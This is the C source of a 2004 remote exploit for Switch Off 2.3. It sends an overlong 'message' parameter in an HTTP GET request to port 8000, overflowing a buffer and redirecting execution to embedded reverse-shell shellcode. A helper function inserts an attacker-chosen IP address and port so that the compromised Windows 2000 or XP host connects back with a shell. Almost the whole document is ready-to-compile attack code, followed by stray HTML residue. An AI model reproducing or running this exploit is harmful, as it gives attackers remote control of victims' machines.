/*******************************************************************/ /* [Crpt] Switch Off 2.3 exploit by MrNice [Crpt] */ /* --------------------------------------------------------------- */ /* */ /* Coder : MrNice */ /* Released on : 07/01/2004 */ /* Tested on : 2k Sp0 & Xp sp0 */ /* Advisory : www.securiteam.com/windowsntfocus/5BP011FBPI.html*/ /* Tech : The overflow can be caused by supplying an overly*/ /* long 'message' parameter to the application. */ /* */ /* If a password has been set, you will have to have*/ /* logged in to the server before issuing a */ /* malicious request to cause the overflow. */ /*******************************************************************/ /* www.coromputer.net && #coromputer on underet */ /******C***O***R***O***M***P***U***T***E***R*****2***0***0***4******/ #ifdef _WIN32 #include #include #define close closesocket #pragma comment (lib,"ws2_32") #else #include #include #include #include #endif #include #include #include //#define JMP_ESP_2K "\x1F\xE5\xC7\x77" //2k sp0 FR //#define JMP_ESP_XP "\xE7\x80\x9C\x71" //xp pro sp0 FR #define JMP_ESP_2K "\xB8\x64\x75\x71" #define JMP_ESP_XP "\xC1\x1C\x35\x77" char ReversShell[]= //Dexorer without call (ff..) coded by MrNice "\x83\xEC\x50\xD9\xE1\xD9\x34\x24\x5B\x5B\x5B\x5B\x80\xEB\xE7\x33" "\xC9\x66\x81\xC1\x4F\x01\x80\x33\x96\x43\xE2\xFA" //Reverse Shell from Metasploit "\x7e\xa6\x96\x96\x96\xd5\xdb\xd2\x96\x71\xef\x50\xef\x7a\x6f\x3c" "\xf6\x4f\x9f\x63\x3b\x5d\x7b\x6a\xad\x18\xd8\x98\x7a\xe8\x4e\x74" "\xe5\x3b\x4f\x93\x58\xe4\x68\x25\x80\xc1\xc5\xa4\xc9\xa5\xa4\xb8" "\xd2\xda\xda\x96\x97\xcd\xc2\x1f\x73\x1f\xcb\x96\xfc\xa6\xcf\xf2" "\x1d\x97\x1d\xd6\x9a\x1d\xe6\x8a\x3b\x1d\xce\x9e\x7d\x9a\x1b\xc1" "\xb2\xc7\xc4\x69\x46\x1f\x55\xcf\x7d\x86\xfc\x9e\xc8\x97\x78\xfc" "\x9e\xcf\x1d\xeb\x96\x16\x6f\x92\xe2\x72\xc7\xc5\x69\xa2\x19\x7e" "\x15\x96\x96\x96\xcf\x1f\x92\x18\x74\x7d\xa7\x69\xf0\x17\x7a\x06" "\x97\xc2\xfe\x97\x97\x96\x96\x69\xc3\x8e\xc1\xc1\xc1\xc1\xd1\xc1" "\xd1\xc1\x69\xc3\x82\x1f\x55\xa7\x69\xfe\x56\x3e\x96\x61\xfe\x94" "\x96\xb4\x87\x1f\x77\xfc\x86\xc7\xc5\x69\xc3\x86\x13\x56\xe3\xd2" "\x1b\xaa\xb2\xa7\x56\xfc\x83\xcf\x65\x3d\x50\xd2\xb2\x86\xd2\x68" "\xd2\xb2\xab\x1f\xca\xb2\xde\x1f\xca\xb2\xda\x1f\xca\xb2\xc6\x1b" "\xd2\xb2\x86\xc2\xc6\xc7\xc7\xc7\xd7\xc7\xdf\xc7\xc7\x69\xe3\x96" "\xc7\x69\xc3\xbe\x1f\x77\xfe\x69\x69\x69\x69\x69\xa7\x69\xc3\xb2" "\xc1\x69\xc3\x9a\x69\xc3\xb6\xc5\xc3\xc0\xc1\x1d\xfa\xb2\x8e\x1d" "\xd3\xaa\x1d\xc2\x93\xee\x97\x7c\x1d\xdc\x8e\x1d\xcc\xb6\x97\x7d" "\x75\xa4\xdf\x1d\xa2\x1d\x97\x78\xa7\x69\x6a\xa7\x56\x3a\xae\x76" "\xe2\x91\x57\x59\x9b\x97\x51\x7d\x64\xad\xea\xb2\x82\xe3\x77\x1d" "\xcc\xb2\x97\x7d\xf0\x1d\x9a\xdd\x1d\xcc\x8a\x97\x7d\x1d\x92\x1d" "\x97\x7e\x7d\x94\xa7\x56\x1f\x7c\xc9\xc8\xcb\xcd\x54\x9e\x96"; //Fonction who set the shellcode coded by Kralor[crpt] void set_sc(char *rhost, int rport, char *shellc0de) { unsigned int ip=0; unsigned short port=0; char *port_to_shell="",*ip1=""; ip = inet_addr(rhost); ip1 = (char*)&ip; shellc0de[182]=ip1[0]^0x96;shellc0de[183]=ip1[1]^0x96; shellc0de[184]=ip1[2]^0x96; shellc0de[185]=ip1[3]^0x96; port = htons(rport); port_to_shell = (char *) &port; shellc0de[189]=port_to_shell[0]^0x96; shellc0de[190]=port_to_shell[1]^0x96; } void banner() { printf("\n\t [Crpt] Switch Off 2.3 Remote Exploit by MrNice [Crpt]\n"); printf("\t\t www.coromputer.net && Undernet #coromputer\n"); printf("\t---------------------------------------------------------------\n\n"); } void usage(char *exe) { printf("\n\t [Crpt] Switch Off 2.3 Remote Exploit by MrNice [Crpt]\n"); printf("\t\t www.coromputer.net && Undernet #coromputer\n"); printf("\t---------------------------------------------------------------\n\n"); printf("Syntax : %s \n",exe); printf("\nCible : \t0 - Windows 2000 (default)\n"); printf("\t\t1 - Windows Xp\n\n"); exit (-1); } int main(int argc, char *argv[]) { int hsocket; struct hostent *host; struct in_addr adresseIP; struct sockaddr_in adressesocket; char BadString[700],Request[800]; int i,len,cible=0; #ifdef _WIN32 WSADATA wsaData; #endif if(argc<4) { usage(argv[0]); } if(argc>4) { cible=atoi(argv[4]); } banner(); #ifdef _WIN32 if(WSAStartup(0x101,&wsaData)) { printf("[-] Unable to load winsock\n"); exit (-1); } else { printf("[+] Winsock loaded\n"); } #endif //Création de la socket if((hsocket=socket(AF_INET,SOCK_STREAM,0))==-1) { printf("[-] Can't creat Socket\n"); exit (-1); } else { printf("[+] Socket created\n"); } //GetHostByName() if((host=gethostbyname(argv[1]))==0) { printf("[-] Can't acquire remote info\n"); close(hsocket); exit (-1); } else { printf("[+] Remote info Acquired\n"); } memcpy(&adresseIP,host->h_addr,host->h_length); //Preparation de la struct sockaddr_in memset(&adressesocket,0,sizeof(struct sockaddr_in)); adressesocket.sin_family=AF_INET; adressesocket.sin_port=htons(8000); memcpy(&adressesocket.sin_addr,host->h_addr,host->h_length); if(connect(hsocket,(struct sockaddr *)&adressesocket,sizeof(struct sockaddr_in))==-1) { printf("[-] Can't connect on %s:8000\n",argv[1]); close(hsocket); exit (-1); } else { printf("[+] Connected on %s:8000\n",argv[1]); } set_sc(argv[2], atoi(argv[3]),ReversShell); printf("[+] Reverse ShellCode built\n",argv[1]); for(i=0;i<700;i++) { BadString[i]=(char)0x90; } for(i=260;i<623;i++) { BadString[i]=ReversShell[i-260]; } if(cible==0) { memcpy(&BadString[256],JMP_ESP_2K,4); } else { memcpy(&BadString[256],JMP_ESP_XP,4); } BadString[700]=0x00; memset(Request,'\x00',sizeof(Request)); sprintf(Request,"GET /action.htm?action=SendMsg&message=%s HTTP/1.1\r\n" "Host: 10.0.0.6:8000\r\n" "\r\n",BadString); printf("[+] BadString constructed\n"); if((len=send(hsocket,Request,strlen(Request),0))==-1) { printf("[-] Error on sending BadString\n"); close(hsocket); exit (-1); } else { printf("[+] BadString Sended (%d)\n",len); } return 0; }
<span id="7ztzv"></span>
<sub id="7ztzv"></sub>


<span id="7ztzv"></span><form id="7ztzv"></form>


<span id="7ztzv"></span>
    

      

        <address id="7ztzv"></address>
            

ÑÇÖÞÅ·ÃÀÔÚÏß